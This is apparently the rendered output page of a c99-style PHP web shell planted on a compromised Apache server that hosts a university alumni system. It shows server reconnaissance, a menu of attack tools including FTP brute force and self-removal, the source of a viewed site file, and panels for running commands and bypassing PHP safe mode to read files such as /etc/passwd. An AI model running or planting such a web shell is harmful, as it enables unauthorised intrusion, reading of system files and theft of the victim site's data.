!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mainalumni.php (6.8 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsalumnibio.php";
showHeader();
openWindow();
//checkFormat();
$oAb = new AlumniBio($oC1);
?>
<script language="JavaScript" type="text/JavaScript">
                        /*function checkAddress() {
                            if(document.ps.chkAddr.checked) {
                                document.ps.addrt2.disabled = true;
                                document.ps.zipCode2.disabled = true;
                                document.ps.provinceId2.disabled = true;
                                document.ps.amphurId2.disabled = true;
                                document.ps.districtId2.disabled = true;
                                //document.ps.addrE2.disabled = true;
                            }else{
                                document.ps.addrt2.disabled = false;
                                document.ps.zipCode2.disabled = false;
                                document.ps.provinceId2.disabled = false;
                                document.ps.amphurId2.disabled = false;
                                document.ps.districtId2.disabled = false;
                                //document.ps.addrE2.disabled = false;

                            }                                                                                                
                        }
                        
                        function checkVilai() {
                            if(document.ps.chvilai.checked) {
                                    document.ps.lodgeId.disabled = false;
                                    document.ps.lodgeNo.disabled = false;
                                    document.ps.lodgePhone.disabled = false;
                                    document.ps.waterNo.disabled = false;
                                    document.ps.electricId.disabled = false;
                                    document.ps.telephoneId.disabled = false;
                            }else{                        
                                    document.ps.lodgeId.disabled = true;
                                    document.ps.lodgeNo.disabled = true;
                                    document.ps.lodgePhone.disabled = true;
                                    document.ps.waterNo.disabled = true;
                                    document.ps.electricId.disabled = true;
                                    document.ps.telephoneId.disabled = true;
                                }
                            }
                        function checkcType() {
                            if(document.ps.cType.checked) {
                                    document.ps.cNo.disabled = false;
                            }else{                        
                                    document.ps.cNo.disabled = true;
                                }
                            }                                                                                                            
                        function checkTos() {
                            if(document.ps.tosType.checked) {
                                    document.ps.tosId.disabled = false;
                            }else{                        
                                    document.ps.tosId.disabled = true;
                                }
                            }                                                                                                            
                        function checkBksave() {
                            if(document.ps.bksaveType.checked) {
                                    document.ps.bksaveNo.disabled = false;
                            }else{                        
                                    document.ps.bksaveNo.disabled = true;
                                }
                            }                                                                                                            
                        function checkStore() {
                            if(document.ps.StoreType.checked) {
                                    document.ps.StoreNo.disabled = false;
                            }else{                        
                                    document.ps.StoreNo.disabled = true;
                                }
                            }                                                                                                            
                        function checkCks() {
                            if(document.ps.cksType.checked) {
                                    document.ps.cksNo.disabled = false;
                            }else{                        
                                    document.ps.cksNo.disabled = true;
                                }
                            }*/
</script>                        
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<body>
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td align="center"><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3']; ?>"><a href="?mm=1">¢éÍÁÙÅÈÔÉÂìà¡èÒ</a> 
        <img src="../picture/ico3.gif" align="absmiddle" border="0"><a href="searchalumniforhis.php" >¤é¹ËÒÈÔÉÂìà¡èÒ</a><img src="../picture/ico3.gif" align="absmiddle" border="0"> 
        »ÃÐÇѵÔÈÔÉÂìà¡èÒ</font></legend>
            <label><div id="tabmargin"><br>
            <iframe name="frameprocess" id="frameprocess" scrolling="No" frameborder="1" height="0%" width="0%" ></iframe>
            <form name="ps" method="post" action="processalumni.php" enctype="multipart/form-data">
      <table border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td   valign='middle' width="">
          <table width="400" height="26" >
         <tr>
          <td  align="center"  width="100" background="<?php if(($status == 1)||($status == "") ) echo $GLOBALS['BG_BIOC']; else echo $GLOBALS['BG_BIO']; ?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1']; ?>" ><a href="mainalumni.php?alumniId=<?php echo $alumniId;?>&status=<? echo "1";?>">¢éÍÁÙÅÊèǹµÑÇ</a></font></td>
          <td  align="center" width="100" background="<?php if($status == 2)  echo $GLOBALS['BG_BIOC']; else echo $GLOBALS['BG_BIO']; ?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1']; ?>"><a href="mainalumni.php?alumniId=<?php echo $alumniId;?>&status=<? echo "2";?>">·ÕèÍÂÙè</a></font></td>
          <td  align="center"  width="100"  background="<?php if($status == 3)  echo $GLOBALS['BG_BIOC']; else echo $GLOBALS['BG_BIO']; ?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1']; ?>"><a href="mainalumni.php?alumniId=<?php echo $alumniId;?>&status=<? echo "3";?>">¡Ò÷ӧҹ</a></font></td>                                                                
          <td  align="center" width="100" background="<?php if($status == 4)  echo $GLOBALS['BG_BIOC']; else echo $GLOBALS['BG_BIO']; ?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1']; ?>"><a href="mainalumni.php?alumniId=<?php echo $alumniId;?>&status=<? echo "4";?>">¡ÒÃä´éÃѺÃÒ§ÇÑÅ</a></font></td>                                                                
        </tr>
        </table>    
    </td>
    <?
                    $oAb
->SearchByKey($alumniId);
                    
$oAb->GetRecord();
    
?>
        <td  valign="top" align="center">
        <?php if($oAb->picturePath==''){ echo "<img src=\"../picture/photo.gif\" align=\"absmiddle\" border=\"1\" width=\"100\" height=\"115\">"; }else{ echo "<img src=\"$oAb->picturePath\" align=\"absmiddle\" border=\"1\" width=\"100\" height=\"115\">"; } ?></td>
  </tr>
</table>
            <? 
            
if ($status==1)
                include_once(
"addalumni_1.php");
            else if (
$status==2)
                    include_once(
"addalumni_2.php");
            else if (
$status==3){ 
                if(
$method=="edited")
                    include_once(
"editalumni_3.php");
                else
                    include_once(
"addalumni_3.php");}
            else if (
$status==4){
                if(
$method=="edited")
                    include_once(
"editalumni_4.php");
                else
                    include_once(
"addalumni_4.php");
             }

            else{
                include_once(
"addalumni_1.php");
                
$status=1;
                }

            
?>
            </form></div>
            </label>
        </fieldset><br></td>
    </tr>
</table>
</body>
<?php
showFooter
();
$oC->Disconnect();
?>
<script language=javascript>
/*function doSearch(typ){
    fn='ps';
    pv=ps.provinceId1.value;
    ap=ps.amphurId1.value;
    fldA='amphurId1';
    fldD='districtId1';
    s="doSearch.php?typ="+typ+"&fn="+fn+"&fldA="+fldA+"&fldD="+fldD+"&pv="+pv+"&ap="+ap;
    window.parent.frameprocess.location.href=s ;
}*/
</script>

<script language=javascript>
function doSearch1(typ){
    fn='ps';
    pv=ps.provinceId2.value;
    ap=ps.amphurId2.value;
    fldA='amphurId2';
    fldD='districtId2';
    s="doSearch1.php?typ="+typ+"&fn="+fn+"&fldA="+fldA+"&fldD="+fldD+"&pv="+pv+"&ap="+ap;
    window.parent.frameprocess.location.href=s ;
}
</script>

<script language=javascript>
function doSearch2(fn, fldn, v){
    s="doSomething.php?fn="+fn+"&fldn="+fldn+"&v="+v;
    window.parent.frameprocess.location.href = s ;
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0092 ]--